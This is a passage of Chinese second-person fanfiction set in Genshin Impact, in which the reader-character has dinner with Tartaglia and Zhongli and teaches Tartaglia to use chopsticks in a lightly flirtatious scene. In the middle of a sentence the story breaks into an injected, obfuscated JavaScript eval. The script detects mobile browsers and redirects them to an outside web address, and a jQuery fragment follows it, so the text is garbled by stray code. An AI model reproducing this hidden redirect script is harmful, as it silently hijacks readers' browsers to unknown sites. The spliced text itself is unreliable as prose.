你们是一路游山玩水回去的,回到北国银行,公子还一脸幽怨迎接你们的消息——没办法,仙灵和美景就在眼前,怎么能忍住不去呢? 回到璃月港之后,你们发现所有的行动畅通无阻,从阿纳托利准备的旅馆,到下面的琉璃亭,一路上也没见到多少的千岩军,虽然暂时理不清背后的逻辑,但起码是……好的? 达达利亚如约替你们找到能够突破僵局的人,在他准备的饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319897|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局上,你又一次见到了那个男人……棕黑色的服饰在他身上显得极为得体,细看之下还有繁复却不张扬的暗色花纹,内衬的颜色层次分明,与白色的领带相呼却不失凌乱。 左耳的流苏耳坠随着他沏茶的动作微微晃动,身后及腰的发尾服帖的垂落,而腰后的神之眼……那是玻璃球还是真的来着? 进来的第一步你就“啪”的一下坐在钟离旁边,现如今极近的距离,能够特别清晰的把所有细节映在脑子里,这桌面的美食也不过只是陪衬。 “……道上人士……阴影……送人往生?”派蒙略有些紧张扯了扯你的衣服,“哇!难道说往生堂这个组织是……” “专业把人抬走的那种。”你适当补充。 “抬、抬走……?!” “……往生堂是执掌葬仪的组织,旨在送人安心往生。”钟离给出官方解说。 “咦?” “哈哈,难道把钟离先生误认成杀手了?”达达利亚笑着看向派蒙,视线掠过众人,在你这里稍微停留了一会儿,又继续解释,“愚人众的朋友里确实有很多杀手,但往生堂并不是做这一行的……起码明面上不是。” 几盏茶的功夫,几方的诉求讲述妥当。 “好了,我牵桥搭线的任务已经完成了,怎样?还算不错吧?”某只狐狸稍显得意,看看你们时,似乎有看不见的尾巴在他身后摆动,“你们要走就走吧,不用管我,我也许会在这里喝上几杯……顺便熟悉一下筷子的用法。” 还没说完,他已经在试图驯服手里的两根木棍……如此不恰当的用法和别扭的姿势,你有些看不下去了,本来已经要跟着旅行者走出去了,经过他的位置时稍微慢了一步,侧过身“啪”地打掉他手! “要这样……”你用隔壁的一副在自己的手里示范,看了他一眼,“你刚才的姿势从哪学来的?” “嘶……”旁边的狐狸开始委屈巴巴捂着自己的手,“下手真狠,二号小姐……” 屁,你压根就没用力! 他有样学样再次拿起筷子,这回最开始摆放的位置倒是正确了,但一发力筷子又歪了,而且他偏偏去夹盘子里的花生米!! 虽然有种他在演但找不到证据的感觉,但你叹口气,还是按住他的手教学,他也任由你摆弄那只手。 “原来如此。”公子看着你如此认真的侧脸,眼底闪过促狭的微光。他微微调整了姿势,身子朝你这边倾斜,不着痕迹拉近了距离,几乎要凑在你耳旁了,声音低沉而缓慢,“姐姐教得好细致呢……” 如此近距离的温热气息,激得你浑身的鸡皮疙瘩瞬间起来了——他好像不想玩了,别啊,继续走剧情不要对你好奇啊,没什么好奇的! “……如果你还想继续扮演陌生人戏码的话,我倒是不介意继续~”